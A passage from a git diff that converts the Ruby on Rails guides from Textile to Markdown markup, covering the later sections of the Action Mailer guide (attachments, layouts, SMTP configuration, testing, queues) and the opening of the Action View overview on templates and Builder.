`welcome_email.text.erb` in `app/views/user_mailer/`: -<erb> +```erb Welcome to example.com, <%= @user.name %> =============================================== @@ -96,26 +99,26 @@ your username is: <%= @user.login %>. To login to the site, just follow this link: <%= @url %>. Thanks for joining and have a great day! -</erb> +``` -When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email. +When you call the `mail` method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email. -h5. Wire It Up So That the System Sends the Email When a User Signs Up +#### Wire It Up So That the System Sends the Email When a User Signs Up There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. Setting this up is painfully simple. -First off, we need to create a simple +User+ scaffold: +First off, we need to create a simple `User` scaffold: -<shell> +```bash $ rails generate scaffold user name:string email:string login:string $ rake db:migrate -</shell> +``` -Now that we have a user model to play with, we will just edit the +app/controllers/users_controller.rb+ make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved: +Now that we have a user model to play with, we will just edit the `app/controllers/users_controller.rb` make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to `UserMailer.welcome_email` right after the user is successfully saved: -<ruby> +```ruby class UsersController < ApplicationController # POST /users # POST /users.json @@ -136,17 +139,17 @@ class UsersController < ApplicationController end end end -</ruby> +``` This provides a much simpler implementation that does not require the registering of observers and the like. -The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out. +The method `welcome_email` returns a `Mail::Message` object which can then just be told `deliver` to send itself out. -NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. +NOTE: In previous versions of Rails, you would call `deliver_welcome_email` or `create_welcome_email`. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. WARNING: Sending out an email should only take a fraction of a second. If you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job. -h4. Auto encoding header values +### Auto encoding header values Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. @@ -154,95 +157,95 @@ If you are using UTF-8 as your character set, you do not have to do anything spe For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library. -h4. Complete List of Action Mailer Methods +### Complete List of Action Mailer Methods There are just three methods that you need to send pretty much any email message: -* <tt>headers</tt> - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call <tt>headers[:field_name] = 'value'</tt>. -* <tt>attachments</tt> - Allows you to add attachments to your email. For example, <tt>attachments['file-name.jpg'] = File.read('file-name.jpg')</tt>. -* <tt>mail</tt> - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined. +* `headers` - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call `headers[:field_name] = 'value'`. +* `attachments` - Allows you to add attachments to your email. For example, `attachments['file-name.jpg'] = File.read('file-name.jpg')`. +* `mail` - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined. -h5. Custom Headers +#### Custom Headers Defining custom headers are simple, you can do it one of three ways: -* Defining a header field as a parameter to the +mail+ method: +* Defining a header field as a parameter to the `mail` method: -<ruby> -mail("X-Spam" => value) -</ruby> + ```ruby + mail("X-Spam" => value) + ``` -* Passing in a key value assignment to the +headers+ method: +* Passing in a key value assignment to the `headers` method: -<ruby> -headers["X-Spam"] = value -</ruby> + ```ruby + headers["X-Spam"] = value + ``` -* Passing a hash of key value pairs to the +headers+ method: +* Passing a hash of key value pairs to the `headers` method: -<ruby> -headers {"X-Spam" => value, "X-Special" => another_value} -</ruby> + ```ruby + headers {"X-Spam" => value, "X-Special" => another_value} + ``` -TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than once. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>. +TIP: All `X-Value` headers per the RFC2822 can appear more than once. If you want to delete an `X-Value` header, you need to assign it a value of `nil`. -h5. Adding Attachments +#### Adding Attachments Adding attachments has been simplified in Action Mailer 3.0. * Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment. -<ruby> -attachments['filename.jpg'] = File.read('/path/to/filename.jpg') -</ruby> + ```ruby + attachments['filename.jpg'] = File.read('/path/to/filename.jpg') + ``` -NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a +Hash+ to the +attachments+ method. +NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method. * Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in. -<ruby> -encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) -attachments['filename.jpg'] = {:mime_type => 'application/x-gzip', - :encoding => 'SpecialEncoding', - :content => encoded_content } -</ruby> + ```ruby + encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) + attachments['filename.jpg'] = {:mime_type => 'application/x-gzip', + :encoding => 'SpecialEncoding', + :content => encoded_content } + ``` NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it. -h5. Making Inline Attachments +#### Making Inline Attachments Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. -* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer: +* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer: -<ruby> -def welcome - attachments.inline['image.jpg'] = File.read('/path/to/image.jpg') -end -</ruby> + ```ruby + def welcome + attachments.inline['image.jpg'] = File.read('/path/to/image.jpg') + end + ``` -* Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling +url+ on it and then passing the result into the <tt>image_tag</tt> method: +* Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method: -<erb> -<p>Hello there, this is our image</p> + ```html+erb + <p>Hello there, this is our image</p> -<%= image_tag attachments['image.jpg'].url %> -</erb> + <%= image_tag attachments['image.jpg'].url %> + ``` -* As this is a standard call to +image_tag+ you can pass in an options hash after the attachment URL as you could for any other image: +* As this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as you could for any other image: -<erb> -<p>Hello there, this is our image</p> + ```html+erb + <p>Hello there, this is our image</p> -<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo', - :class => 'photos' %> -</erb> + <%= image_tag attachments['image.jpg'].url, :alt => 'My Photo', + :class => 'photos' %> + ``` -h5. Sending Email To Multiple Recipients +#### Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. +It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the `:to` key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. -<ruby> +```ruby class AdminMailer < ActionMailer::Base default :to => Proc.new { Admin.pluck(:email) }, :from => "notification@example.com" @@ -252,30 +255,30 @@ class AdminMailer < ActionMailer::Base mail(:subject => "New User Signup: #{@user.email}") end end -</ruby> +``` -The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively. +The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively. -h5. Sending Email With Name +#### Sending Email With Name Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is -to format the email address in the format <tt>"Name <email>"</tt>. +to format the email address in the format `"Name <email>"`. -<ruby> +```ruby def welcome_email(user) @user = user email_with_name = "#{@user.name} <#{@user.email}>" mail(:to => email_with_name, :subject => "Welcome to My Awesome Site") end -</ruby> +``` -h4. Mailer Views +### Mailer Views -Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.html.erb+ for the HTML version and +welcome_email.text.erb+ for the plain text version. +Mailer views are located in the `app/views/name_of_mailer_class` directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the `welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` for the HTML version and `welcome_email.text.erb` for the plain text version. To change the default mailer view for your action you do something like: -<ruby> +```ruby class UserMailer < ActionMailer::Base default :from => "notifications@example.com" @@ -288,13 +291,13 @@ class UserMailer < ActionMailer::Base :template_name => 'another') end end -</ruby> +``` -In this case it will look for templates at +app/views/notifications+ with name +another+. +In this case it will look for templates at `app/views/notifications` with name `another`. If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file: -<ruby> +```ruby class UserMailer < ActionMailer::Base default :from => "notifications@example.com" @@ -309,27 +312,27 @@ class UserMailer < ActionMailer::Base end end -</ruby> +``` -This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc. +This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc. -h4. Action Mailer Layouts +### Action Mailer Layouts -Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as +user_mailer.html.erb+ and +user_mailer.text.erb+ to be automatically recognized by your mailer as a layout. +Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as `user_mailer.html.erb` and `user_mailer.text.erb` to be automatically recognized by your mailer as a layout. In order to use a different file just use: -<ruby> +```ruby class UserMailer < ActionMailer::Base layout 'awesome' # use awesome.(html|text).erb as the layout end -</ruby> +``` -Just like with controller views, use +yield+ to render the view inside the layout. +Just like with controller views, use `yield` to render the view inside the layout. -You can also pass in a <tt>:layout => 'layout_name'</tt> option to the render call inside the format block to specify different layouts for different actions: +You can also pass in a `:layout => 'layout_name'` option to the render call inside the format block to specify different layouts for different actions: -<ruby> +```ruby class UserMailer < ActionMailer::Base def welcome_email(user) mail(:to => user.email) do |format| @@ -338,45 +341,45 @@ class UserMailer < ActionMailer::Base end end end -</ruby> +``` -Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists. +Will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file if it exists. -h4. Generating URLs in Action Mailer Views +### Generating URLs in Action Mailer Views -URLs can be generated in mailer views using +url_for+ or named routes. +URLs can be generated in mailer views using `url_for` or named routes. -Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+: +Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the `:host`, `:controller`, and `:action`: -<erb> +```erb <%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %> -</erb> +``` -When using named routes you only need to supply the +:host+: +When using named routes you only need to supply the `:host`: -<erb> +```erb <%= user_url(@user, :host => "example.com") %> -</erb> +``` Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense. -It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>: +It is also possible to set a default host that will be used in all mailers by setting the `:host` option as a configuration option in `config/application.rb`: -<ruby> +```ruby config.action_mailer.default_url_options = { :host => "example.com" } -</ruby> +``` -If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided. +If you use this setting, you should pass the `:only_path => false` option when using `url_for`. This will ensure that absolute URLs are generated because the `url_for` view helper will, by default, generate relative URLs when a `:host` option isn't explicitly provided. -h4. Sending Multipart Emails +### Sending Multipart Emails -Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. +Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. -The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order: +The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method. If you want to explicitly alter the order, you can either change the `:parts_order` or explicitly render the parts in a different order: -<ruby> +```ruby class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @@ -388,15 +391,15 @@ class UserMailer < ActionMailer::Base end end end -</ruby> +``` Will put the HTML part first, and the plain text part second. -h4. Sending Emails with Attachments +### Sending Emails with Attachments -Attachments can be added by using the +attachments+ method: +Attachments can be added by using the `attachments` method: -<ruby> +```ruby class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @@ -406,15 +409,15 @@ class UserMailer < ActionMailer::Base :subject => "Please see the Terms and Conditions attached") end end -</ruby> +``` -The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages. +The above will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages. -h5. Sending Emails with Dynamic Delivery Options +#### Sending Emails with Dynamic Delivery Options -If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using +delivery_method_options+ in the mailer action. +If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using `delivery_method_options` in the mailer action. -<ruby> +```ruby class UserMailer < ActionMailer::Base def welcome_email(user,company) @user = user @@ -423,19 +426,20 @@ class UserMailer < ActionMailer::Base mail(to: user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options) end end -</ruby> +``` -h3. Receiving Emails +Receiving Emails +---------------- Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: -* Implement a +receive+ method in your mailer. +* Implement a `receive` method in your mailer. -* Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'+. +* Configure your email server to forward emails from the address(es) you would like your app to receive to `/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'`. -Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example: +Once a method called `receive` is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer `receive` instance method. Here's an example: -<ruby> +```ruby class UserMailer < ActionMailer::Base def receive(email) page = Page.find_by_address(email.to.first) @@ -454,31 +458,37 @@ class UserMailer < ActionMailer::Base end end end -</ruby> +``` -h3. Using Action Mailer Helpers +Using Action Mailer Helpers +--------------------------- Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller. -h3. Action Mailer Configuration +Action Mailer Configuration +--------------------------- The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -|+template_root+|Determines the base from which template references will be made.| -|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.| -|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li><li><tt>:enable_starttls_auto</tt> - Set this to <tt>false</tt> if there is a problem with your server certificate that you cannot resolve.</li></ul>| -|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>| -|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.| -|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.| -|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| -|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| -|+default_options+|Allows you to set default values for the <tt>mail</tt> method options (<tt>:from</tt>, <tt>:reply_to</tt>, etc.).| - -h4. Example Action Mailer Configuration - -An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: - -<ruby> +| Configuration | Description | +|---------------|-------------| +|`template_root`|Determines the base from which template references will be made.| +|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.| +|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| +|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>| +|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered.| +|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.| +|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| +|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).| +|`async`|Setting this flag will turn on asynchronous message sending, message rendering and delivery will be pushed to `Rails.queue` for processing.| +|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).| + +### Example Action Mailer Configuration + +An example would be adding the following to your appropriate `config/environments/$RAILS_ENV.rb` file: + +```ruby config.action_mailer.delivery_method = :sendmail # Defaults to: # config.action_mailer.sendmail_settings = { @@ -488,13 +498,13 @@ config.action_mailer.delivery_method = :sendmail config.action_mailer.perform_deliveries = true config.action_mailer.raise_delivery_errors = true config.action_mailer.default_options = {from: "no-replay@example.org"} -</ruby> +``` -h4. Action Mailer Configuration for GMail +### Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file: -<ruby> +```ruby config.action_mailer.delivery_method = :smtp config.action_mailer.smtp_settings = { :address => "smtp.gmail.com", @@ -504,15 +514,16 @@ config.action_mailer.smtp_settings = { :password => '<password>', :authentication => 'plain', :enable_starttls_auto => true } -</ruby> +``` -h3. Mailer Testing +Mailer Testing +-------------- -By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array. +By default Action Mailer does not send emails in the test environment. They are just added to the `ActionMailer::Base.deliveries` array. Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so: -<ruby> +```ruby class UserMailerTest < ActionMailer::TestCase def test_welcome_email user = users(:some_user_in_your_fixtures) @@ -528,28 +539,29 @@ class UserMailerTest < ActionMailer::TestCase assert_match "you have joined to example.com community", email.body.to_s end end -</ruby> +``` -In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. +In the test we send the email and store the returned object in the `email` variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. -h3. Asynchronous +Asynchronous +------------ Rails provides a Synchronous Queue by default. If you want to use an Asynchronous one you will need to configure an async Queue provider like Resque. Queue providers are supposed to have a Railtie where they configure it's own async queue. -h4. Custom Queues +### Custom Queues -If you need a different queue than <tt>Rails.queue</tt> for your mailer you can use <tt>ActionMailer::Base.queue=</tt>: +If you need a different queue than `Rails.queue` for your mailer you can use `ActionMailer::Base.queue=`: -<ruby> +```ruby class WelcomeMailer < ActionMailer::Base self.queue = MyQueue.new end -</ruby> +``` -or adding to your <tt>config/environments/$RAILS_ENV.rb</tt>: +or adding to your `config/environments/$RAILS_ENV.rb`: -<ruby> +```ruby config.action_mailer.queue = MyQueue.new -</ruby> +``` -Your custom queue should expect a job that responds to <tt>#run</tt>. +Your custom queue should expect a job that responds to `#run`. diff --git a/guides/source/action_view_overview.textile b/guides/source/action_view_overview.md index 33ae7f6933..cec7e5335b 100644 --- a/guides/source/action_view_overview.textile +++ b/guides/source/action_view_overview.md @@ -1,4 +1,5 @@ -h2. Action View Overview +Action View Overview +==================== In this guide you will learn: @@ -8,9 +9,10 @@ In this guide you will learn: * What helpers are provided by Action View, and how to make your own * How to use localized views -endprologue. +-------------------------------------------------------------------------------- -h3. What is Action View? +What is Action View? +-------------------- Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response. @@ -18,13 +20,14 @@ Action View templates are written using embedded Ruby in tags mingled with HTML. NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. -h3. Using Action View with Rails +Using Action View with Rails +---------------------------- -For each controller there is an associated directory in the <tt>app/views</tt> directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action. +For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action. Let's take a look at what Rails does by default when creating a new resource using the scaffold generator: -<shell> +```bash $ rails generate scaffold post [...] invoke scaffold_controller @@ -37,28 +40,29 @@ $ rails generate scaffold post create app/views/posts/new.html.erb create app/views/posts/_form.html.erb [...] -</shell> +``` There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above. -For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory. +For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory. The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of this three components. -h3. Using Action View outside of Rails +Using Action View outside of Rails +---------------------------------- -Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application. +Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application. Let's start by ensuring that you have the Action Pack and Rack gems installed: -<shell> +```bash $ gem install actionpack $ gem install rack -</shell> +``` -Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Active Support. +Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support. -*hello_world.rb:* +**hello_world.rb:** -<ruby> +```ruby require 'active_support/core_ext/string/inflections' require 'rack' @@ -67,126 +71,127 @@ def hello_world(env) end Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567 -</ruby> +``` -We can see this all come together by starting up the application and then visiting +http://localhost:4567/+ +We can see this all come together by starting up the application and then visiting `http://localhost:4567/` -<shell> +```bash $ ruby hello_world.rb -</shell> +``` TODO needs a screenshot? I have one - not sure where to put it. -Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method. +Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method. -Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way. +Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way. Let's start by ensuring that you have the Action Pack and Sinatra gems installed: -<shell> +```bash $ gem install actionpack $ gem install sinatra -</shell> +``` Now we'll create the same "Hello World" application in Sinatra. -*hello_world.rb:* +**hello_world.rb:** -<ruby> +```ruby require 'action_view' require 'sinatra' get '/' do erb 'hello world'.titleize end -</ruby> +``` Then, we can run the application: -<shell> +```bash $ ruby hello_world.rb -</shell> +``` -Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+ +Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/` TODO needs a screenshot? I have one - not sure where to put it. -h3. Templates, Partials and Layouts +Templates, Partials and Layouts +------------------------------- -As mentioned before, the final HTML output is a composition of three Rails elements: +Templates+, +Partials+ and +Layouts+. +As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`. Find below a brief overview of each one of them. -h4. Templates +### Templates -Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then a fresh instance of <tt>Builder::XmlMarkup</tt> library is used. +Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used. -Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have <tt>.html.erb</tt> as a file extension. +Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension. -h5. ERB +#### ERB -Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+ tags. The +<% %>+ are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the +<%= %>+ tags are used when you want output. +Within an ERB template Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output. Consider the following loop for names: -<erb> +```html+erb <b>Names of all the people</b> <% @people.each do |person| %> Name: <%= person.name %><br/> <% end %> -</erb> +``` -The loop is setup in regular embedding tags +<% %>+ and the name is written using the output embedding tag +<%= %>+. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong: +The loop is setup in regular embedding tags `<% %>` and the name is written using the output embedding tag `<%= %>`. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong: -<erb> +```html+erb <%# WRONG %> Hi, Mr. <% puts "Frodo" %> -</erb> +``` -To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+. +To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`. -h5. Builder +#### Builder -Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension. +Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension. Here are some basic examples: -<ruby> +```ruby xml.em("emphasized") xml.em { xml.b("emph & bold") } xml.a("A Link", "href"=>"http://rubyonrails.org") xml.target("name"=>"compile", "option"=>"fast") -</ruby> +``` will produce -<html> +```html <em>emphasized</em> <em><b>emph & bold</b></em> <a href="http://rubyonrails.org">A link</a> <target option="fast" name="compile" /> -</html> +``` Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following: -<ruby> +```ruby xml.div { xml.h1(@person.name) xml.p(@person.bio) } -</ruby> +``` would produce something like: -<html> +```html <div> <h1>David Heinemeier Hansson</h1> <p>A product of Danish Design during the Winter of '79...</p> </div> -</html> +``` A full-length RSS example actually used on Basecamp: -<ruby> +```ruby xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do xml.channel do xml.title(@feed_title) @@ -207,37 +212,37 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do end end end -</ruby> +``` -h5. Template Caching +#### Template Caching By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode. -h4. Partials +### Partials Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. -h5. Naming Partials +#### Naming Partials -To render a partial as part of a view, you use the +render+ method within the view: +To render a partial as part of a view, you use the `render` method within the view: 